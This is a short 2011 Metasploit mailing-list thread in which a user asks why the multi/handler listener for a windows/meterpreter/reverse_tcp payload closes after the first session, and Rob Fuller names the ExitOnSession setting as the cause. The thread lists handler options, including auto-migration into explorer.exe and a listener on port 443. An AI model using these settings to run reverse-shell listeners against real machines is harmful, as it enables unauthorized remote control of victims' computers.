Re: multi handler crash after first session connection

[r00m_213 <r00m213 () gmail com>]

Hi Rob,

Tried that...no luck.

Regards,

r00m 213

On Wed, Aug 10, 2011 at 4:42 PM, Rob Fuller <mubix () room362 com> wrote:

> "  ExitOnSession          true"
>
> ^ the cause of your problem
>
> --
> Rob Fuller | Mubix
> Certified Checkbox Unchecker
> Room362.com | Hak5.org
>
>
> On Wed, Aug 10, 2011 at 10:25 AM, r00m_213 <r00m213 () gmail com> wrote:
>
> > Hi guys,
> >
> > I am running several machines with BT4 and MSF
> >
> > On the first I am using BT4 and MSF v3.6.0-dev.11421
> > On the second I am using BT4 and MSF v3.8.0-dev.12541
> > On the third I am using BT4 and MSF v4.0.1.13502
> >
> > I use a payload on the remote box that spawns a reverse tcp connection
> >
> > On the Local machine I use
> >
> >     > use exploit/multi/handler
> >
> > The settings are the same on all 3 machines
> >
> > Global
> > ======
> >
> >   Name           Value
> >   ----           -----
> >   AutoRunScript  migrate explorer.exe
> >   LHOST          X.X.X.X
> >   LPORT          443
> >   PAYLOAD        windows/meterpreter/reverse_tcp
> >
> > Module: multi/handler
> > =====================
> >
> >   Name                   Value
> >   ----                   -----
> >   AutoLoadStdapi         true
> >   AutoRunScript          migrate explorer.exe
> >   AutoSystemInfo         true
> >   DisablePayloadHandler  false
> >   EXITFUNC               process
> >   EnableContextEncoding  false
> >   EnableUnicodeEncoding  true
> >   ExitOnSession          true
> >   InitialAutoRunScript
> >   LHOST                  X.X.X.X
> >   LPORT                  443
> >   ListenerTimeout        0
> >   ReverseConnectRetries  5
> >   TARGET                 0
> >   VERBOSE                false
> >   WfsDelay               0
> >
> > > exploit -j
> >
> > The strange thing is that I can get multiple sessions with
> > v3.6.0-dev.11421
> > The other two (v3.8.0-dev.12541 and v4.0.1.13502) I get a session once,
> > then it kills the process, so no listening on port 443 anymore.
> >
> > Any help is appreciated
> >
> > Regards,
> >
> > r00m 213
> >
> > _______________________________________________
> > https://mail.metasploit.com/mailman/listinfo/framework
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework